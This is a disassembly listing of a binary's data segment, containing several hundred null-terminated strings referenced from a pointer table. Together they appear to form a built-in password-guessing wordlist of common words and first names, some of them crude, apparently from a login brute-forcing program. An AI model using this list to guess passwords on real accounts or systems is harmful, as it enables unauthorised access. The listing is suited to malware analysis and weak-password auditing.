aFaraday	db 'faraday',0          ; DATA XREF: seg002:00422FCCo
aFarad		db 'farad',0            ; DATA XREF: seg002:00422FC8o
		align 10h
aFamily		db 'family',0           ; DATA XREF: seg002:00422FC4o
		align 4
aFalse		db 'false',0            ; DATA XREF: seg002:00422FC0o
		align 10h
aFalcon		db 'falcon',0           ; DATA XREF: seg002:00422FBCo
		align 4
aFaith		db 'faith',0            ; DATA XREF: seg002:00422FB8o
		align 10h
aFairway	db 'fairway',0          ; DATA XREF: seg002:00422FB4o
aExtensio	db 'extensio',0         ; DATA XREF: seg002:00422FB0o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: seg002:00422FACo
		align 10h
aExplorer	db 'explorer',0         ; DATA XREF: seg002:00422FA8o
		align 4
aExplore	db 'explore',0          ; DATA XREF: seg002:00422FA4o
aExplode	db 'explode',0          ; DATA XREF: seg002:00422FA0o
aExpert		db 'expert',0           ; DATA XREF: seg002:00422F9Co
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: seg002:00422F98o
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: seg002:00422F94o
		align 4
aEternity	db 'eternity',0         ; DATA XREF: seg002:00422F90o
		align 10h
aEstate		db 'estate',0           ; DATA XREF: seg002:00422F8Co
		align 4
aEstablis	db 'establis',0         ; DATA XREF: seg002:00422F88o
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: seg002:00422F84o
		align 4
aErotic		db 'erotic',0           ; DATA XREF: seg002:00422F80o
		align 4
aErin		db 'erin',0             ; DATA XREF: seg002:00422F7Co
		align 4
aErika		db 'erika',0            ; DATA XREF: seg002:00422F78o
		align 4
aErica		db 'erica',0            ; DATA XREF: seg002:00422F74o
		align 4
aEric		db 'eric',0             ; DATA XREF: seg002:00422F70o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: seg002:00422F6Co
aEnzyme		db 'enzyme',0           ; DATA XREF: seg002:00422F68o
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: seg002:00422F64o
		align 10h
aEnter		db 'enter',0            ; DATA XREF: seg002:00422F60o
		align 4
aEnglish	db 'english',0          ; DATA XREF: seg002:00422F5Co
aEngland	db 'england',0          ; DATA XREF: seg002:00422F58o
aEngineer	db 'engineer',0         ; DATA XREF: seg002:00422F54o
		align 4
aEngine		db 'engine',0           ; DATA XREF: seg002:00422F50o
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: seg002:00422F4Co
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: seg002:00422F48o
		align 10h
aEmily		db 'emily',0            ; DATA XREF: seg002:00422F44o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: seg002:00422F40o
aEmail		db 'email',0            ; DATA XREF: seg002:00422F3Co
		align 4
aEllen		db 'ellen',0            ; DATA XREF: seg002:00422F38o
		align 10h
aElizabet	db 'elizabet',0         ; DATA XREF: seg002:00422F34o
		align 4
aElephant	db 'elephant',0         ; DATA XREF: seg002:00422F30o
		align 4
aElectron	db 'electron',0         ; DATA XREF: seg002:00422F2Co
		align 4
aElanor		db 'elanor',0           ; DATA XREF: seg002:00422F28o
		align 4
aElaine		db 'elaine',0           ; DATA XREF: seg002:00422F24o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: seg002:00422F20o
		align 10h
aEinsiein	db 'einsiein',0         ; DATA XREF: seg002:00422F1Co
		align 4
aEileen		db 'eileen',0           ; DATA XREF: seg002:00422F18o
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: seg002:00422F14o
		align 10h
aEgghead	db 'egghead',0          ; DATA XREF: seg002:00422F10o
aEdwina		db 'edwina',0           ; DATA XREF: seg002:00422F0Co
		align 10h
aEdwin		db 'edwin',0            ; DATA XREF: seg002:00422F08o
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: seg002:00422F04o
		align 4
aEducation	db 'education',0        ; DATA XREF: seg002:00422F00o
		align 10h
aEdition	db 'edition',0          ; DATA XREF: seg002:00422EFCo
aEdit		db 'edit',0             ; DATA XREF: seg002:00422EF8o
		align 10h
aEdinburg	db 'edinburg',0         ; DATA XREF: seg002:00422EF4o
		align 4
aEdges		db 'edges',0            ; DATA XREF: seg002:00422EF0o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: seg002:00422EECo
		align 4
aEcho		db 'echo',0             ; DATA XREF: seg002:00422EE8o
		align 4
aEatme		db 'eatme',0            ; DATA XREF: seg002:00422EE4o
		align 4
aEasy		db 'easy',0             ; DATA XREF: seg002:00422EE0o
		align 4
aEasier		db 'easier',0           ; DATA XREF: seg002:00422EDCo
		align 4
aEarth		db 'earth',0            ; DATA XREF: seg002:00422ED8o
		align 4
aEagle		db 'eagle',0            ; DATA XREF: seg002:00422ED4o
		align 4
aEager		db 'eager',0            ; DATA XREF: seg002:00422ED0o
		align 4
aDyke		db 'dyke',0             ; DATA XREF: seg002:00422ECCo
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: seg002:00422EC8o
aDuncan		db 'duncan',0           ; DATA XREF: seg002:00422EC4o
		align 4
aDulce		db 'dulce',0            ; DATA XREF: seg002:00422EC0o
		align 4
aDuke		db 'duke',0             ; DATA XREF: seg002:00422EBCo
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: seg002:00422EB8o
aDude		db 'dude',0             ; DATA XREF: seg002:00422EB4o
		align 4
aDuck		db 'duck',0             ; DATA XREF: seg002:00422EB0o
		align 4
aDrought	db 'drought',0          ; DATA XREF: seg002:00422EACo
aDrive		db 'drive',0            ; DATA XREF: seg002:00422EA8o
		align 4
aDrdoom		db 'drdoom',0           ; DATA XREF: seg002:00422EA4o
		align 4
aDragon		db 'dragon',0           ; DATA XREF: seg002:00422EA0o
		align 4
aDownload	db 'download',0         ; DATA XREF: seg002:00422E9Co
		align 10h
aDope		db 'dope',0             ; DATA XREF: seg002:00422E98o
		align 4
aDoors		db 'doors',0            ; DATA XREF: seg002:00422E94o
		align 10h
aDoor		db 'door',0             ; DATA XREF: seg002:00422E90o
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: seg002:00422E8Co
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: seg002:00422E88o
		align 10h
aDoomii		db 'doomii',0           ; DATA XREF: seg002:00422E84o
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: seg002:00422E80o
		align 10h
aDoom		db 'doom',0             ; DATA XREF: seg002:00422E7Co
		align 4
aDong		db 'dong',0             ; DATA XREF: seg002:00422E78o
		align 10h
aDollar		db 'dollar',0           ; DATA XREF: seg002:00422E74o
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: seg002:00422E70o
		align 10h
aDisplay	db 'display',0          ; DATA XREF: seg002:00422E6Co
aDisney		db 'disney',0           ; DATA XREF: seg002:00422E68o
		align 10h
aDiskette	db 'diskette',0         ; DATA XREF: seg002:00422E64o
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: seg002:00422E60o
		align 4
aDiscover	db 'discover',0         ; DATA XREF: seg002:00422E5Co
		align 10h
aDisclose	db 'disclose',0         ; DATA XREF: seg002:00422E58o
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: seg002:00422E54o
		align 4
aDisc		db 'disc',0             ; DATA XREF: seg002:00422E50o
		align 10h
aDirty		db 'dirty',0            ; DATA XREF: seg002:00422E4Co
		align 4
aDirector	db 'director',0         ; DATA XREF: seg002:00422E48o
		align 4
aDirect		db 'direct',0           ; DATA XREF: seg002:00422E44o
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: seg002:00422E40o
aDinosaur	db 'dinosaur',0         ; DATA XREF: seg002:00422E3Co
		align 10h
aDigital	db 'digital',0          ; DATA XREF: seg002:00422E38o
aDieter		db 'dieter',0           ; DATA XREF: seg002:00422E34o
		align 10h
aDiet		db 'diet',0             ; DATA XREF: seg002:00422E30o
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: seg002:00422E2Co
aDick		db 'dick',0             ; DATA XREF: seg002:00422E28o
		align 4
aDice		db 'dice',0             ; DATA XREF: seg002:00422E24o
		align 10h
aDiane		db 'diane',0            ; DATA XREF: seg002:00422E20o
		align 4
aDiana		db 'diana',0            ; DATA XREF: seg002:00422E1Co
		align 10h
aDiamond	db 'diamond',0          ; DATA XREF: seg002:00422E18o
aDial		db 'dial',0             ; DATA XREF: seg002:00422E14o
		align 10h
aDevice		db 'device',0           ; DATA XREF: seg002:00422E10o
		align 4
aDevelop	db 'develop',0          ; DATA XREF: seg002:00422E0Co
aDesperat	db 'desperat',0         ; DATA XREF: seg002:00422E08o
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: seg002:00422E04o
aDesk		db 'desk',0             ; DATA XREF: seg002:00422E00o
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: seg002:00422DFCo
aDennis		db 'dennis',0           ; DATA XREF: seg002:00422DF8o
		align 4
aDenise		db 'denise',0           ; DATA XREF: seg002:00422DF4o
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: seg002:00422DF0o
		align 10h
aDeluge		db 'deluge',0           ; DATA XREF: seg002:00422DECo
		align 4
aDelta		db 'delta',0            ; DATA XREF: seg002:00422DE8o
		align 10h
aDefoe		db 'defoe',0            ; DATA XREF: seg002:00422DE4o
		align 4
aDefault_0	db 'DEFAULT',0          ; DATA XREF: seg002:00422DE0o
aDeck		db 'deck',0             ; DATA XREF: seg002:00422DD8o
		align 4
aDecember	db 'december',0         ; DATA XREF: seg002:00422DD4o
		align 4
aDebug		db 'debug',0            ; DATA XREF: seg002:00422DD0o
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: seg002:00422DCCo
aDebbie		db 'debbie',0           ; DATA XREF: seg002:00422DC8o
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: seg002:00422DC4o
		align 4
aDead		db 'dead',0             ; DATA XREF: seg002:00422DC0o
		align 10h
aDawn		db 'dawn',0             ; DATA XREF: seg002:00422DBCo
		align 4
aDave		db 'dave',0             ; DATA XREF: seg002:00422DB8o
		align 10h
aData		db 'data',0             ; DATA XREF: seg002:00422DB4o
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: seg002:00422DB0o
		align 4
aDark		db 'dark',0             ; DATA XREF: seg002:00422DACo
		align 4
aDapper		db 'dapper',0           ; DATA XREF: seg002:00422DA8o
		align 4
aDanny		db 'danny',0            ; DATA XREF: seg002:00422DA4o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: seg002:00422DA0o
		align 4
aDaniel		db 'daniel',0           ; DATA XREF: seg002:00422D9Co
		align 10h
aDancer		db 'dancer',0           ; DATA XREF: seg002:00422D98o
		align 4
aDana		db 'dana',0             ; DATA XREF: seg002:00422D94o
		align 10h
aDaisy		db 'daisy',0            ; DATA XREF: seg002:00422D90o
		align 4
aDaemon		db 'daemon',0           ; DATA XREF: seg002:00422D8Co
		align 10h
aCynthia	db 'cynthia',0          ; DATA XREF: seg002:00422D88o
aCyberspa	db 'cyberspa',0         ; DATA XREF: seg002:00422D84o
		align 4
aCyberpun	db 'cyberpun',0         ; DATA XREF: seg002:00422D80o
		align 10h
aCyber		db 'cyber',0            ; DATA XREF: seg002:00422D7Co
		align 4
aCustomer	db 'customer',0         ; DATA XREF: seg002:00422D78o
		align 4
aCunt		db 'cunt',0             ; DATA XREF: seg002:00422D74o
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: seg002:00422D70o
		align 4
aCrystal	db 'crystal',0          ; DATA XREF: seg002:00422D6Co
aCristina	db 'cristina',0         ; DATA XREF: seg002:00422D68o
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: seg002:00422D64o
		align 4
aCrime		db 'crime',0            ; DATA XREF: seg002:00422D60o
		align 4
aCretin		db 'cretin',0           ; DATA XREF: seg002:00422D5Co
		align 4
aCreosote	db 'creosote',0         ; DATA XREF: seg002:00422D58o
		align 10h
aCredit		db 'credit',0           ; DATA XREF: seg002:00422D54o
		align 4
aCreature	db 'creature',0         ; DATA XREF: seg002:00422D50o
		align 4
aCreation	db 'creation',0         ; DATA XREF: seg002:00422D4Co
		align 10h
aCreate		db 'create',0           ; DATA XREF: seg002:00422D48o
		align 4
aCream		db 'cream',0            ; DATA XREF: seg002:00422D44o
		align 10h
aCrackpot	db 'crackpot',0         ; DATA XREF: seg002:00422D40o
		align 4
aCrack		db 'crack',0            ; DATA XREF: seg002:00422D3Co
		align 4
aCowboy		db 'cowboy',0           ; DATA XREF: seg002:00422D38o
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: seg002:00422D34o
		align 4
aCountry	db 'country',0          ; DATA XREF: seg002:00422D30o
aCounters	db 'counters',0         ; DATA XREF: seg002:00422D2Co
		align 4
aCorrect	db 'correct',0          ; DATA XREF: seg002:00422D28o
aCorneliu	db 'corneliu',0         ; DATA XREF: seg002:00422D24o
		align 10h
aCopy		db 'copy',0             ; DATA XREF: seg002:00422D20o
		align 4
aCops		db 'cops',0             ; DATA XREF: seg002:00422D1Co
		align 10h
aCopper		db 'copper',0           ; DATA XREF: seg002:00422D18o
		align 4
aCooper		db 'cooper',0           ; DATA XREF: seg002:00422D14o
		align 10h
aCool		db 'cool',0             ; DATA XREF: seg002:00422D10o
		align 4
aCookie		db 'cookie',0           ; DATA XREF: seg002:00422D0Co
		align 10h
aCookbook	db 'cookbook',0         ; DATA XREF: seg002:00422D08o
		align 4
aCook		db 'cook',0             ; DATA XREF: seg002:00422D04o
		align 4
aContinue	db 'continue',0         ; DATA XREF: seg000:0040A81Co
					; seg002:00422D00o
		align 10h
aConsole	db 'console',0          ; DATA XREF: seg002:00422CFCo
aConserva	db 'conserva',0         ; DATA XREF: seg002:00422CF8o
		align 4
aConnie		db 'connie',0           ; DATA XREF: seg002:00422CF4o
		align 4
aCondom		db 'condom',0           ; DATA XREF: seg002:00422CECo
		align 4
aCondo		db 'condo',0            ; DATA XREF: seg002:00422CE8o
		align 4
aComrades	db 'comrades',0         ; DATA XREF: seg002:00422CE4o
		align 4
aComrade	db 'comrade',0          ; DATA XREF: seg002:00422CE0o
aComputin	db 'computin',0         ; DATA XREF: seg002:00422CDCo
		align 4
aCompany	db 'company',0          ; DATA XREF: seg002:00422CD8o
aCommrade	db 'commrade',0         ; DATA XREF: seg002:00422CD4o
		align 10h
aCommit		db 'commit',0           ; DATA XREF: seg002:00422CD0o
		align 4
aComics		db 'comics',0           ; DATA XREF: seg002:00422CCCo
		align 10h
aCombat		db 'combat',0           ; DATA XREF: seg002:00422CC8o
		align 4
aColor		db 'color',0            ; DATA XREF: seg002:00422CC4o
		align 10h
aCollins	db 'collins',0          ; DATA XREF: seg002:00422CC0o
aCold		db 'cold',0             ; DATA XREF: seg002:00422CBCo
		align 10h
aCola		db 'cola',0             ; DATA XREF: seg002:00422CB8o
		align 4
aCoke		db 'coke',0             ; DATA XREF: seg002:00422CB4o
		align 10h
aCoin		db 'coin',0             ; DATA XREF: seg002:00422CB0o
		align 4
aCoffee		db 'coffee',0           ; DATA XREF: seg002:00422CACo
		align 10h
aCodeword	db 'codeword',0         ; DATA XREF: seg002:00422CA8o
		align 4
aCodename	db 'codename',0         ; DATA XREF: seg002:00422CA4o
		align 4
aCode		db 'code',0             ; DATA XREF: seg002:00422CA0o
		align 10h
aCock		db 'cock',0             ; DATA XREF: seg002:00422C9Co
		align 4
aCocainco	db 'cocainco',0         ; DATA XREF: seg002:00422C98o
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: seg002:00422C94o
		align 10h
aCoast		db 'coast',0            ; DATA XREF: seg002:00422C90o
		align 4
aClusters	db 'clusters',0         ; DATA XREF: seg002:00422C8Co
		align 4
aCluster	db 'cluster',0          ; DATA XREF: seg002:00422C88o
aClinton	db 'clinton',0          ; DATA XREF: seg002:00422C84o
aCleavage	db 'cleavage',0         ; DATA XREF: seg002:00422C80o
		align 10h
aClaymore	db 'claymore',0         ; DATA XREF: seg002:00422C7Co
		align 4
aClaudia	db 'claudia',0          ; DATA XREF: seg002:00422C78o
aClassic	db 'classic',0          ; DATA XREF: seg002:00422C74o
aClasses	db 'classes',0          ; DATA XREF: seg002:00422C70o
aClass		db 'class',0            ; DATA XREF: seg002:00422C6Co
		align 4
aCindy		db 'cindy',0            ; DATA XREF: seg002:00422C68o
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: seg002:00422C64o
		align 10h
aCigar		db 'cigar',0            ; DATA XREF: seg002:00422C60o
		align 4
aChristy	db 'christy',0          ; DATA XREF: seg002:00422C5Co
aChristin	db 'christin',0         ; DATA XREF: seg002:00422C58o
		align 4
aChris		db 'chris',0            ; DATA XREF: seg002:00422C54o
		align 4
aChip		db 'chip',0             ; DATA XREF: seg002:00422C50o
		align 4
aChester	db 'chester',0          ; DATA XREF: seg002:00422C4Co
aChess		db 'chess',0            ; DATA XREF: seg002:00422C48o
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: seg002:00422C44o
		align 4
aChem		db 'chem',0             ; DATA XREF: seg002:00422C40o
		align 10h
aChat		db 'chat',0             ; DATA XREF: seg002:00422C3Co
		align 4
aCharon		db 'charon',0           ; DATA XREF: seg002:00422C38o
		align 10h
aCharming	db 'charming',0         ; DATA XREF: seg002:00422C34o
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: seg002:00422C30o
aCharles	db 'charles',0          ; DATA XREF: seg002:00422C2Co
aCharity	db 'charity',0          ; DATA XREF: seg002:00422C28o
aChange		db 'change',0           ; DATA XREF: seg002:00422C24o
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: seg002:00422C20o
		align 4
aCeltics	db 'celtics',0          ; DATA XREF: seg002:00422C1Co
aCeltic		db 'celtic',0           ; DATA XREF: seg002:00422C18o
		align 4
aCelt		db 'celt',0             ; DATA XREF: seg002:00422C14o
		align 10h
aCecily		db 'cecily',0           ; DATA XREF: seg002:00422C10o
		align 4
aCayuga		db 'cayuga',0           ; DATA XREF: seg002:00422C0Co
		align 10h
aCave		db 'cave',0             ; DATA XREF: seg002:00422C08o
		align 4
aCathy		db 'cathy',0            ; DATA XREF: seg002:00422C04o
		align 10h
aCatholic	db 'catholic',0         ; DATA XREF: seg002:00422C00o
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: seg002:00422BFCo
		align 4
aCastle		db 'castle',0           ; DATA XREF: seg002:00422BF8o
		align 10h
aCash		db 'cash',0             ; DATA XREF: seg002:00422BF4o
		align 4
aCascades	db 'cascades',0         ; DATA XREF: seg002:00422BF0o
		align 4
aCarson		db 'carson',0           ; DATA XREF: seg002:00422BECo
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: seg002:00422BE8o
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: seg002:00422BE4o
		align 10h
aCarolina	db 'carolina',0         ; DATA XREF: seg002:00422BE0o
		align 4
aCarole		db 'carole',0           ; DATA XREF: seg002:00422BDCo
		align 4
aCarol		db 'carol',0            ; DATA XREF: seg002:00422BD8o
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: seg002:00422BD4o
		align 4
aCarla		db 'carla',0            ; DATA XREF: seg002:00422BD0o
		align 4
aCaren		db 'caren',0            ; DATA XREF: seg002:00422BCCo
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: seg002:00422BC8o
		align 10h
aCard		db 'card',0             ; DATA XREF: seg002:00422BC4o
		align 4
aCapture	db 'capture',0          ; DATA XREF: seg002:00422BC0o
aCaptain	db 'captain',0          ; DATA XREF: seg002:00422BBCo
aCantor		db 'cantor',0           ; DATA XREF: seg002:00422BB8o
		align 10h
aCandy		db 'candy',0            ; DATA XREF: seg002:00422BB4o
		align 4
aCandi		db 'candi',0            ; DATA XREF: seg002:00422BB0o
		align 10h
aCamping	db 'camping',0          ; DATA XREF: seg002:00422BACo
aCampanil	db 'campanil',0         ; DATA XREF: seg002:00422BA8o
		align 4
aCamille	db 'camille',0          ; DATA XREF: seg002:00422BA4o
aCaliforn	db 'californ',0         ; DATA XREF: seg002:00422BA0o
		align 4
aButthead	db 'butthead',0         ; DATA XREF: seg002:00422B9Co
		align 4
aButt		db 'butt',0             ; DATA XREF: seg002:00422B98o
		align 4
aButch		db 'butch',0            ; DATA XREF: seg002:00422B94o
		align 4
aBurn		db 'burn',0             ; DATA XREF: seg002:00422B90o
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: seg002:00422B8Co
aBung		db 'bung',0             ; DATA XREF: seg002:00422B88o
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: seg002:00422B84o
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: seg002:00422B80o
		align 4
aBulls		db 'bulls',0            ; DATA XREF: seg002:00422B7Co
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: seg002:00422B78o
		align 4
aBrute		db 'brute',0            ; DATA XREF: seg002:00422B74o
		align 10h
aBrunette	db 'brunette',0         ; DATA XREF: seg002:00422B70o
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: seg002:00422B6Co
aBroadway	db 'broadway',0         ; DATA XREF: seg002:00422B68o
		align 10h
aBridget	db 'bridget',0          ; DATA XREF: seg002:00422B64o
aBrian		db 'brian',0            ; DATA XREF: seg002:00422B60o
		align 10h
aBrenda		db 'brenda',0           ; DATA XREF: seg002:00422B5Co
		align 4
aBreast		db 'breast',0           ; DATA XREF: seg002:00422B58o
		align 10h
aBreak		db 'break',0            ; DATA XREF: seg002:00422B54o
		align 4
aBravo		db 'bravo',0            ; DATA XREF: seg002:00422B50o
		align 10h
aBrandy		db 'brandy',0           ; DATA XREF: seg002:00422B4Co
		align 4
aBrandi		db 'brandi',0           ; DATA XREF: seg002:00422B48o
		align 10h
aBradley	db 'bradley',0          ; DATA XREF: seg002:00422B44o
aBoyscout	db 'boyscout',0         ; DATA XREF: seg002:00422B40o
		align 4
aBorn		db 'born',0             ; DATA XREF: seg002:00422B3Co
		align 4
aBook		db 'book',0             ; DATA XREF: seg002:00422B38o
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: seg002:00422B34o
		align 4
aBoob		db 'boob',0             ; DATA XREF: seg002:00422B30o
		align 4
aBoner		db 'boner',0            ; DATA XREF: seg002:00422B2Co
		align 4
aBomb		db 'bomb',0             ; DATA XREF: seg002:00422B28o
		align 4
aBoard		db 'board',0            ; DATA XREF: seg002:00422B24o
		align 4
aBlues		db 'blues',0            ; DATA XREF: seg002:00422B20o
		align 4
aBlue		db 'blue',0             ; DATA XREF: seg002:00422B1Co
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: seg002:00422B18o
aBlow		db 'blow',0             ; DATA XREF: seg002:00422B14o
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: seg002:00422B10o
		align 4
aBlood		db 'blood',0            ; DATA XREF: seg002:00422B0Co
		align 10h
aBlondie	db 'blondie',0          ; DATA XREF: seg002:00422B08o
aBlonde		db 'blonde',0           ; DATA XREF: seg002:00422B04o
		align 10h
aBlack		db 'black',0            ; DATA XREF: seg002:00422B00o
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: seg002:00422AFCo
		align 10h
aBitmap		db 'bitmap',0           ; DATA XREF: seg002:00422AF8o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: seg002:00422AF4o
		align 10h
aBishop		db 'bishop',0           ; DATA XREF: seg002:00422AF0o
		align 4
aBird		db 'bird',0             ; DATA XREF: seg002:00422AECo
		align 10h
aBios		db 'bios',0             ; DATA XREF: seg002:00422AE8o
		align 4
aBinary		db 'binary',0           ; DATA XREF: seg002:00422AE4o
		align 10h
aBill		db 'bill',0             ; DATA XREF: seg002:00422AE0o
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: seg002:00422ADCo
aBicamera	db 'bicamera',0         ; DATA XREF: seg002:00422AD8o
		align 4
aBible		db 'bible',0            ; DATA XREF: seg002:00422AD4o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: seg002:00422AD0o
aBetty		db 'betty',0            ; DATA XREF: seg002:00422ACCo
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: seg002:00422AC8o
		align 4
aBeth		db 'beth',0             ; DATA XREF: seg002:00422AC4o
		align 4
aBeta		db 'beta',0             ; DATA XREF: seg002:00422AC0o
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: seg002:00422ABCo
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: seg002:00422AB8o
		align 10h
aBerlin		db 'berlin',0           ; DATA XREF: seg002:00422AB4o
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: seg002:00422AB0o
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: seg002:00422AACo
aBenz		db 'benz',0             ; DATA XREF: seg002:00422AA8o
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: seg002:00422AA4o
aBell		db 'bell',0             ; DATA XREF: seg002:00422AA0o
		align 4
aBehead		db 'behead',0           ; DATA XREF: seg002:00422A9Co
		align 4
aBegin		db 'begin',0            ; DATA XREF: seg002:00422A98o
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: seg002:00422A94o
		align 10h
aBecky		db 'becky',0            ; DATA XREF: seg002:00422A90o
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: seg002:00422A8Co
		align 10h
aBeauty		db 'beauty',0           ; DATA XREF: seg002:00422A88o
		align 4
aBeater		db 'beater',0           ; DATA XREF: seg002:00422A84o
		align 10h
aBeast		db 'beast',0            ; DATA XREF: seg002:00422A80o
		align 4
aBear		db 'bear',0             ; DATA XREF: seg002:00422A7Co
		align 10h
aBeammeup	db 'beammeup',0         ; DATA XREF: seg002:00422A78o
		align 4
aBeach		db 'beach',0            ; DATA XREF: seg002:00422A74o
		align 4
aBatman		db 'batman',0           ; DATA XREF: seg002:00422A70o
		align 4
aBatch		db 'batch',0            ; DATA XREF: seg002:00422A6Co
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: seg002:00422A68o
aBass		db 'bass',0             ; DATA XREF: seg002:00422A64o
		align 4
aBasic		db 'basic',0            ; DATA XREF: seg002:00422A60o
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: seg002:00422A5Co
		align 4
aBartman	db 'bartman',0          ; DATA XREF: seg002:00422A58o
aBart		db 'bart',0             ; DATA XREF: seg002:00422A54o
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: seg002:00422A50o
		align 4
aBarf		db 'barf',0             ; DATA XREF: seg002:00422A4Co
		align 4
aBare		db 'bare',0             ; DATA XREF: seg002:00422A48o
		align 4
aBarber		db 'barber',0           ; DATA XREF: seg002:00422A44o
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: seg002:00422A40o
aBanks		db 'banks',0            ; DATA XREF: seg002:00422A3Co
		align 4
aBank		db 'bank',0             ; DATA XREF: seg002:00422A38o
		align 4
aBandit		db 'bandit',0           ; DATA XREF: seg002:00422A34o
		align 4
aBananas	db 'bananas',0          ; DATA XREF: seg002:00422A30o
aBanana		db 'banana',0           ; DATA XREF: seg002:00422A2Co
		align 4
aBall		db 'ball',0             ; DATA XREF: seg002:00422A28o
		align 4
aBailey		db 'bailey',0           ; DATA XREF: seg002:00422A24o
		align 4
aBadass		db 'badass',0           ; DATA XREF: seg002:00422A20o
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: seg002:00422A1Co
		align 10h
aBacchus	db 'bacchus',0          ; DATA XREF: seg002:00422A18o
aBaby		db 'baby',0             ; DATA XREF: seg002:00422A14o
		align 10h
aBabe		db 'babe',0             ; DATA XREF: seg002:00422A10o
		align 4
aAzure		db 'azure',0            ; DATA XREF: seg002:00422A0Co
		align 10h
aAztecs		db 'aztecs',0           ; DATA XREF: seg002:00422A08o
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: seg002:00422A04o
		align 4
aAttack		db 'attack',0           ; DATA XREF: seg002:00422A00o
		align 4
aAtom		db 'atom',0             ; DATA XREF: seg002:004229FCo
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: seg002:004229F8o
		align 10h
aAthena		db 'athena',0           ; DATA XREF: seg002:004229F4o
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: seg002:004229F0o
aAsian		db 'asian',0            ; DATA XREF: seg002:004229ECo
		align 4
aArtist		db 'artist',0           ; DATA XREF: seg002:004229E8o
		align 10h
aArthur		db 'arthur',0           ; DATA XREF: seg002:004229E4o
		align 4
aArrow		db 'arrow',0            ; DATA XREF: seg002:004229E0o
		align 10h
aArmy		db 'army',0             ; DATA XREF: seg002:004229DCo
		align 4
aArlene		db 'arlene',0           ; DATA XREF: seg002:004229D8o
		align 10h
aAriadne	db 'ariadne',0          ; DATA XREF: seg002:004229D4o
aAria		db 'aria',0             ; DATA XREF: seg002:004229D0o
		align 10h
aApril		db 'april',0            ; DATA XREF: seg002:004229CCo
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: seg002:004229C8o
		align 4
aAnything	db 'anything',0         ; DATA XREF: seg002:004229C4o
		align 10h
aAnvils		db 'anvils',0           ; DATA XREF: seg002:004229C0o
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: seg002:004229BCo
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: seg002:004229B8o
aAnswer		db 'answer',0           ; DATA XREF: seg002:004229B4o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: seg002:004229B0o
		align 10h
aAnon		db 'anon',0             ; DATA XREF: seg002:004229ACo
		align 4
aAnnette	db 'annette',0          ; DATA XREF: seg002:004229A8o
aAnne		db 'anne',0             ; DATA XREF: seg002:004229A4o
		align 4
aAnna		db 'anna',0             ; DATA XREF: seg002:004229A0o
		align 10h
aAnita		db 'anita',0            ; DATA XREF: seg002:0042299Co
		align 4
aAnimals	db 'animals',0          ; DATA XREF: seg002:00422998o
